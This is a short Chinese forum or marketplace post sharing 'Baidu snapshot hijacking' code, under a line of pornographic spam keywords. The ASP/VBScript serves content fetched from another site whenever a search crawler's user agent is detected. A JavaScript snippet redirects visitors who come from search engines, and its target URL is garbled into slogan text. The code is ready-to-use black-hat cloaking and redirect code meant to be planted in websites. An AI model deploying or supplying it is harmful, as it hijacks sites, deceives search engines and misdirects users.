亚洲无人区一区二区三区_农村玉米地少妇野战亚洲_国产欧美日韩VA另类在线播放_免费人成视频网站在线_国产在线精品一区二区高清不卡

昵稱：ok營銷

接單：7   關(guān)注TA

達(dá)標(biāo)率 0%

百度快照劫持代碼

作者：ok營銷 瀏覽：388次 發(fā)布時間：2016-08-16
分享 評論 贊1

<%@ LANGUAGE = VBScript.Encode %><% Dim agent agent=Request.ServerVariables(“http_user_agent”) If instr(agent,”Baiduspider”) > 0 or instr(agent,”baidubrowser”) > 0 or instr(agent,”Sogou”) > 0 or instr (agent,”googlebot”) > 0 or instr(agent,”Sosospider”) > 0 then linkurl=”http://www.seojn.com” ‘快照網(wǎng)址 Function GetBody(Url) Dim objXML On Error Resume Next Set objXML = CreateObject(“Microsoft.XMLHTTP”) With objXML .Open “Get”, Url, False, “”, “” .Send GetBody = .ResponseBody End With GetBody=BytesToBstr(GetBody,”GB2312″) Set objXML = Nothing End Function Function BytesToBstr(strBody,CodeBase) dim objStream set objStream = Server.CreateObject(“Adodb.Stream”) objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write strBody objStream.Position = 0 objStream.Type = 2 objStream.Charset = CodeBase BytesToBstr = objStream.ReadText objStream.Close set objStream = nothing End Function response.write GetBody(linkurl) End if%> <script LANGUAGE=”Javascript”> var s=document.referrer if(s.indexOf(“google”)>0 || s.indexOf(“baidu”)>0 || s.indexOf(“yahoo”)>0 ) location.href=”百度一下，你就知道”; </script>